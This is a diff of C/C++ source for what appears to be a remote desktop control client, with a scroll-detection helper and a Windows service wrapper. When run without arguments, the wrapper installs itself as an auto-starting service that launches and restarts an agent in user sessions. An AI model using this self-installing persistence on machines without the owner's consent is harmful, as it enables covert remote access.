: m_width(width), m_height(height), m_bytesPerPixel(bpp)
|
||||
{
|
||||
InitCRC32Table();
|
||||
m_stride = width * bpp;
|
||||
m_prevRowHashes = new uint32_t[height];
|
||||
m_currRowHashes = new uint32_t[height];
|
||||
m_lastScrollAmount = 0;
|
||||
memset(m_prevRowHashes, 0, height * sizeof(uint32_t));
|
||||
memset(m_currRowHashes, 0, height * sizeof(uint32_t));
|
||||
}
|
||||
|
||||
~CScrollDetector()
|
||||
{
|
||||
if (m_prevRowHashes) {
|
||||
delete[] m_prevRowHashes;
|
||||
m_prevRowHashes = nullptr;
|
||||
}
|
||||
if (m_currRowHashes) {
|
||||
delete[] m_currRowHashes;
|
||||
m_currRowHashes = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
// Compute hash for each row of a frame
|
||||
void ComputeRowHashes(const uint8_t* frame, uint32_t* hashes)
|
||||
{
|
||||
for (int row = 0; row < m_height; row++) {
|
||||
hashes[row] = ComputeCRC32(frame + row * m_stride, m_stride);
|
||||
}
|
||||
}
|
||||
|
||||
// Detect vertical scroll between previous and current frame
|
||||
// Returns scroll amount in pixels (positive = scroll down, negative = scroll up)
|
||||
// Returns 0 if no scroll detected
|
||||
int DetectVerticalScroll(const uint8_t* prevFrame, const uint8_t* currFrame)
|
||||
{
|
||||
// Compute hashes for current frame
|
||||
ComputeRowHashes(currFrame, m_currRowHashes);
|
||||
|
||||
int maxScroll = m_height / MAX_SCROLL_RATIO;
|
||||
int bestScrollAmount = 0;
|
||||
int bestMatchCount = 0;
|
||||
|
||||
// Try different scroll amounts
|
||||
for (int scrollAmount = MIN_SCROLL_LINES; scrollAmount <= maxScroll; scrollAmount++) {
|
||||
// Check scroll down (content moves up, new content at bottom)
|
||||
int matchCount = CountMatchingRows(scrollAmount);
|
||||
if (matchCount > bestMatchCount) {
|
||||
bestMatchCount = matchCount;
|
||||
bestScrollAmount = scrollAmount;
|
||||
}
|
||||
|
||||
// Check scroll up (content moves down, new content at top)
|
||||
matchCount = CountMatchingRows(-scrollAmount);
|
||||
if (matchCount > bestMatchCount) {
|
||||
bestMatchCount = matchCount;
|
||||
bestScrollAmount = -scrollAmount;
|
||||
}
|
||||
}
|
||||
|
||||
// Check if match quality is good enough
|
||||
int comparedRows = m_height - abs(bestScrollAmount);
|
||||
int threshold = (comparedRows * MATCH_THRESHOLD) / 100;
|
||||
|
||||
if (bestMatchCount >= threshold && bestMatchCount >= MIN_SCROLL_LINES) {
|
||||
m_lastScrollAmount = bestScrollAmount;
|
||||
// Swap hash buffers for next frame
|
||||
std::swap(m_prevRowHashes, m_currRowHashes);
|
||||
return bestScrollAmount;
|
||||
}
|
||||
|
||||
// No scroll detected, update previous hashes
|
||||
std::swap(m_prevRowHashes, m_currRowHashes);
|
||||
m_lastScrollAmount = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Update previous frame hashes (call after sending diff frame)
|
||||
void UpdatePrevHashes(const uint8_t* frame)
|
||||
{
|
||||
ComputeRowHashes(frame, m_prevRowHashes);
|
||||
}
|
||||
|
||||
// Get edge region info for scroll frame
|
||||
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
|
||||
// scrollAmount > 0: scroll down (content moves up), new content at screen bottom = BMP row 0
|
||||
// scrollAmount < 0: scroll up (content moves down), new content at screen top = BMP high rows
|
||||
void GetEdgeRegion(int scrollAmount, int* outOffset, int* outPixelCount) const
|
||||
{
|
||||
if (scrollAmount > 0) {
|
||||
// Scroll down: new content at screen bottom = BMP row 0 (low address)
|
||||
*outOffset = 0;
|
||||
*outPixelCount = scrollAmount * m_width;
|
||||
} else {
|
||||
// Scroll up: new content at screen top = BMP high rows
|
||||
*outOffset = (m_height + scrollAmount) * m_stride;
|
||||
*outPixelCount = (-scrollAmount) * m_width;
|
||||
}
|
||||
}
|
||||
|
||||
int GetLastScrollAmount() const
|
||||
{
|
||||
return m_lastScrollAmount;
|
||||
}
|
||||
int GetWidth() const
|
||||
{
|
||||
return m_width;
|
||||
}
|
||||
int GetHeight() const
|
||||
{
|
||||
return m_height;
|
||||
}
|
||||
int GetStride() const
|
||||
{
|
||||
return m_stride;
|
||||
}
|
||||
|
||||
private:
|
||||
// Count matching rows for a given scroll amount
|
||||
// BMP is bottom-up: row 0 = screen bottom, row height-1 = screen top
|
||||
// scrollAmount > 0: scroll down (content moves up in screen)
|
||||
// - In BMP: new content at row 0, old content shifted to higher rows
|
||||
// - curr[scrollAmount + i] should match prev[i]
|
||||
// scrollAmount < 0: scroll up (content moves down in screen)
|
||||
// - In BMP: new content at high rows, old content shifted to lower rows
|
||||
// - curr[i] should match prev[i + absScroll]
|
||||
int CountMatchingRows(int scrollAmount) const
|
||||
{
|
||||
int matchCount = 0;
|
||||
int absScroll = abs(scrollAmount);
|
||||
|
||||
if (scrollAmount > 0) {
|
||||
// Scroll down: curr[scrollAmount..height-1] should match prev[0..height-scrollAmount-1]
|
||||
for (int i = 0; i < m_height - absScroll; i++) {
|
||||
if (m_currRowHashes[i + absScroll] == m_prevRowHashes[i]) {
|
||||
matchCount++;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Scroll up: curr[0..height-scrollAmount-1] should match prev[scrollAmount..height-1]
|
||||
for (int i = 0; i < m_height - absScroll; i++) {
|
||||
if (m_currRowHashes[i] == m_prevRowHashes[i + absScroll]) {
|
||||
matchCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return matchCount;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // SCROLL_DETECTOR_H
|
||||
652
client/ServiceWrapper.c
Normal file
652
client/ServiceWrapper.c
Normal file
@@ -0,0 +1,652 @@
|
||||
#include "ServiceWrapper.h"
|
||||
#include "SessionMonitor.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
// 静态变量
|
||||
static MyService g_MyService =
|
||||
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
|
||||
|
||||
static SERVICE_STATUS g_ServiceStatus = { 0 };
|
||||
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
|
||||
static HANDLE g_StopEvent = NULL;
|
||||
static ServiceLogFunc Log = NULL;
|
||||
|
||||
// 前向声明
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
void MyLog(const char* file, int line, const char* format, ...)
|
||||
{
|
||||
if (Log == NULL) {
|
||||
return; // 没有设置日志回调,直接返回
|
||||
}
|
||||
|
||||
char buffer[1024];
|
||||
char message[1200];
|
||||
|
||||
// 处理可变参数
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
vsnprintf(buffer, sizeof(buffer), format, args);
|
||||
va_end(args);
|
||||
|
||||
// 提取文件名(去掉路径)
|
||||
const char* filename = strrchr(file, '/');
|
||||
if (filename == NULL) {
|
||||
filename = strrchr(file, '\\');
|
||||
}
|
||||
filename = (filename != NULL) ? (filename + 1) : file;
|
||||
|
||||
// 格式化完整的日志消息:[文件名:行号] 消息内容
|
||||
snprintf(message, sizeof(message), "[%s:%d] %s", filename, line, buffer);
|
||||
|
||||
// 调用日志回调函数
|
||||
Log(message);
|
||||
}
|
||||
|
||||
void InitWindowsService(MyService info, ServiceLogFunc log)
|
||||
{
|
||||
memcpy(&g_MyService, &info, sizeof(MyService));
|
||||
Log = log;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize)
|
||||
{
|
||||
SC_HANDLE hSCM = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
BOOL result = FALSE;
|
||||
SERVICE_STATUS_PROCESS ssp;
|
||||
DWORD bytesNeeded = 0;
|
||||
DWORD bufSize = 0;
|
||||
LPQUERY_SERVICE_CONFIGA pConfig = NULL;
|
||||
|
||||
*registered = FALSE;
|
||||
*running = FALSE;
|
||||
if (exePath && exePathSize > 0) {
|
||||
exePath[0] = '\0';
|
||||
}
|
||||
|
||||
// 打开 SCM
|
||||
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
hService = OpenServiceA(
|
||||
hSCM,
|
||||
g_MyService.Name,
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return TRUE; // 未注册
|
||||
}
|
||||
|
||||
*registered = TRUE;
|
||||
result = TRUE;
|
||||
|
||||
// 获取服务状态
|
||||
memset(&ssp, 0, sizeof(ssp));
|
||||
if (QueryServiceStatusEx(
|
||||
hService,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&ssp,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&bytesNeeded)) {
|
||||
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// 获取 EXE 路径
|
||||
if (exePath && exePathSize > 0) {
|
||||
QueryServiceConfigA(hService, NULL, 0, &bufSize);
|
||||
|
||||
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize);
|
||||
|
||||
if (pConfig) {
|
||||
if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) {
|
||||
strncpy(exePath, pConfig->lpBinaryPathName, exePathSize - 1);
|
||||
exePath[exePathSize - 1] = '\0';
|
||||
}
|
||||
free(pConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return result;
|
||||
}
|
||||
|
||||
int ServiceWrapper_StartSimple(void)
|
||||
{
|
||||
SC_HANDLE hSCM = NULL;
|
||||
SC_HANDLE hService = NULL;
|
||||
BOOL ok;
|
||||
int err;
|
||||
|
||||
// 打开SCM
|
||||
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务并启动
|
||||
hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_START);
|
||||
if (!hService) {
|
||||
err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 启动服务
|
||||
ok = StartServiceA(hService, 0, NULL);
|
||||
err = ok ? ERROR_SUCCESS : (int)GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
int ServiceWrapper_Run(void)
|
||||
{
|
||||
DWORD err;
|
||||
char buffer[256];
|
||||
SERVICE_TABLE_ENTRY ServiceTable[2];
|
||||
|
||||
ServiceTable[0].lpServiceName = (LPSTR)g_MyService.Name;
|
||||
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
|
||||
ServiceTable[1].lpServiceName = NULL;
|
||||
ServiceTable[1].lpServiceProc = NULL;
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("ServiceWrapper_Run() called");
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
|
||||
err = GetLastError();
|
||||
sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err);
|
||||
Mprintf(buffer);
|
||||
return (int)err;
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
|
||||
{
|
||||
HANDLE hThread;
|
||||
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
Mprintf("ServiceMain() called");
|
||||
|
||||
g_StatusHandle = RegisterServiceCtrlHandler(
|
||||
g_MyService.Name,
|
||||
ServiceCtrlHandler
|
||||
);
|
||||
|
||||
if (g_StatusHandle == NULL) {
|
||||
Mprintf("RegisterServiceCtrlHandler failed");
|
||||
return;
|
||||
}
|
||||
|
||||
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
|
||||
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwServiceSpecificExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
|
||||
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (g_StopEvent == NULL) {
|
||||
Mprintf("CreateEvent failed");
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = GetLastError();
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
return;
|
||||
}
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service is now running");
|
||||
|
||||
hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(g_StopEvent);
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 3;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service stopped");
|
||||
}
|
||||
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
|
||||
{
|
||||
switch (ctrlCode) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
Mprintf("SERVICE_CONTROL_STOP received");
|
||||
|
||||
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
|
||||
break;
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 4;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
SetEvent(g_StopEvent);
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_INTERROGATE:
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
|
||||
{
|
||||
SessionMonitor monitor;
|
||||
int heartbeatCount = 0;
|
||||
char buf[128];
|
||||
|
||||
(void)lpParam; // 未使用参数
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Worker thread started");
|
||||
Mprintf("Service will launch agent in user sessions");
|
||||
|
||||
// 初始化会话监控器
|
||||
SessionMonitor_Init(&monitor);
|
||||
|
||||
if (!SessionMonitor_Start(&monitor)) {
|
||||
Mprintf("ERROR: Failed to start session monitor");
|
||||
SessionMonitor_Cleanup(&monitor);
|
||||
return ERROR_SERVICE_SPECIFIC_ERROR;
|
||||
}
|
||||
|
||||
Mprintf("Session monitor started successfully");
|
||||
Mprintf("Agent will be launched automatically");
|
||||
|
||||
// 主循环,只等待停止信号
|
||||
// SessionMonitor 会在后台自动:
|
||||
// 1. 监控会话
|
||||
// 2. 在用户会话中启动 agent.exe
|
||||
// 3. 监视代理进程,如果退出自动重启
|
||||
while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) {
|
||||
heartbeatCount++;
|
||||
if (heartbeatCount % 6 == 0) { // 每60秒记录一次
|
||||
sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Stop signal received");
|
||||
Mprintf("Stopping session monitor...");
|
||||
SessionMonitor_Stop(&monitor);
|
||||
SessionMonitor_Cleanup(&monitor);
|
||||
|
||||
Mprintf("Worker thread exiting");
|
||||
Mprintf("========================================");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
int ServiceWrapper_Stop(void)
|
||||
{
|
||||
// 打开SCM
|
||||
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
SC_HANDLE hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_STOP | SERVICE_QUERY_STATUS);
|
||||
if (!hService) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 查询当前状态
|
||||
SERVICE_STATUS status;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 如果服务未运行,直接返回成功
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// 发送停止控制命令
|
||||
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_NOT_ACTIVE) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return (int)err;
|
||||
}
|
||||
}
|
||||
|
||||
// 等待服务停止(最多3秒)
|
||||
int waitCount = 0;
|
||||
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 3) {
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_Install(void)
|
||||
{
|
||||
SC_HANDLE schSCManager;
|
||||
SC_HANDLE schService;
|
||||
char szPath[MAX_PATH];
|
||||
SERVICE_DESCRIPTION sd;
|
||||
SERVICE_STATUS status;
|
||||
DWORD err;
|
||||
|
||||
schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Please run as Administrator\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetModuleFileName(NULL, szPath, MAX_PATH)) {
|
||||
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Installing service...\n");
|
||||
Mprintf("Executable path: %s\n", szPath);
|
||||
|
||||
int retryCount = 5;
|
||||
|
||||
for (int i = 0; i < retryCount; i++) {
|
||||
schService = CreateService(
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
g_MyService.Display,
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
szPath,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
if (schService != NULL) {
|
||||
break; // 成功
|
||||
}
|
||||
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
|
||||
Sleep(2000);
|
||||
continue;
|
||||
}
|
||||
break; // 其他错误,退出
|
||||
}
|
||||
|
||||
if (schService == NULL) {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_EXISTS) {
|
||||
Mprintf("INFO: Service already exists\n");
|
||||
|
||||
// 打开已存在的服务
|
||||
schService = OpenService(schSCManager, g_MyService.Name, SERVICE_ALL_ACCESS);
|
||||
if (schService) {
|
||||
Mprintf("SUCCESS: Service is already installed\n");
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
}
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied. Please run as Administrator\n");
|
||||
} else {
|
||||
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
|
||||
}
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("SUCCESS: Service created successfully\n");
|
||||
|
||||
// 设置服务描述
|
||||
sd.lpDescription = (LPSTR)g_MyService.Description;
|
||||
if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) {
|
||||
Mprintf("SUCCESS: Service description set\n");
|
||||
}
|
||||
|
||||
// 立即启动服务
|
||||
Mprintf("Starting service...\n");
|
||||
if (StartService(schService, 0, NULL)) {
|
||||
Mprintf("SUCCESS: Service started successfully\n");
|
||||
|
||||
// 等待服务启动
|
||||
Sleep(2000);
|
||||
|
||||
// 检查服务状态
|
||||
if (QueryServiceStatus(schService, &status)) {
|
||||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
Mprintf("SUCCESS: Service is running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
Mprintf("INFO: Service is already running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
|
||||
Mprintf("You can start it manually using: net start %s\n", g_MyService.Name);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
Mprintf("=== Installation Complete ===\n");
|
||||
Mprintf("Service installed successfully!\n");
|
||||
Mprintf("IMPORTANT: This is a single-executable design.\n");
|
||||
Mprintf("The service will launch '%s -agent' in user sessions.\n", szPath);
|
||||
Mprintf("Commands:\n");
|
||||
Mprintf(" To verify: sc query %s\n", g_MyService.Name);
|
||||
Mprintf(" To start: net start %s\n", g_MyService.Name);
|
||||
Mprintf(" To stop: net stop %s\n", g_MyService.Name);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL ServiceWrapper_Uninstall(void)
|
||||
{
|
||||
SC_HANDLE schSCManager;
|
||||
SC_HANDLE schService;
|
||||
SERVICE_STATUS status;
|
||||
int waitCount;
|
||||
DWORD err;
|
||||
|
||||
schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Please run as Administrator\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
schService = OpenService(
|
||||
schSCManager,
|
||||
g_MyService.Name,
|
||||
SERVICE_STOP | DELETE
|
||||
);
|
||||
|
||||
if (schService == NULL) {
|
||||
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Service may not be installed\n");
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Stopping service...\n");
|
||||
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
|
||||
Mprintf("Waiting for service to stop");
|
||||
Sleep(1000);
|
||||
|
||||
waitCount = 0;
|
||||
while (QueryServiceStatus(schService, &status) && waitCount < 30) {
|
||||
if (status.dwCurrentState == SERVICE_STOP_PENDING) {
|
||||
Mprintf(".");
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
Mprintf("SUCCESS: Service stopped\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Service may not have stopped completely\n");
|
||||
}
|
||||
} else {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
Mprintf("INFO: Service was not running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
|
||||
}
|
||||
}
|
||||
BOOL result = TRUE;
|
||||
Mprintf("Deleting service...\n");
|
||||
if (DeleteService(schService)) {
|
||||
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
||||
} else {
|
||||
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
||||
result = FALSE;
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
Mprintf("=== Uninstallation Complete ===\n");
|
||||
return result;
|
||||
}
|
||||
|
||||
void PrintUsage()
|
||||
{
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
}
|
||||
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
{
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
|
||||
BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed",
|
||||
registered ? "Yes" : "No", running ? "Yes" : "No");
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
|
||||
if (registered) {
|
||||
Mprintf("Current executable path: %s, Registered service path: %s\n", curPath, servicePath);
|
||||
}
|
||||
|
||||
// 使用不区分大小写的比较
|
||||
_strlwr(servicePath);
|
||||
_strlwr(curPath);
|
||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||
if (registered && !same) {
|
||||
BOOL r = ServiceWrapper_Uninstall();
|
||||
Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
BOOL r = ServiceWrapper_Install();
|
||||
Mprintf("RunAsWindowsService Install %s: %s\n", r ? "succeed" : "failed", curPath);
|
||||
return r;
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
return r == ERROR_SUCCESS;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
return TRUE;
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
} else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
} else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
} else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
81
client/ServiceWrapper.h
Normal file
81
client/ServiceWrapper.h
Normal file
@@ -0,0 +1,81 @@
|
||||
#ifndef SERVICE_WRAPPER_H
|
||||
#define SERVICE_WRAPPER_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct MyService {
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
} MyService;
|
||||
|
||||
inline MyService NewService(const char* name, const char* display, const char* description)
|
||||
{
|
||||
MyService s;
|
||||
strcpy(s.Name, name);
|
||||
strcpy(s.Display, display);
|
||||
strcpy(s.Description, description);
|
||||
return s;
|
||||
}
|
||||
|
||||
typedef void (*ServiceLogFunc)(const char* message);
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
# 停止服务
|
||||
net stop RemoteControlService
|
||||
|
||||
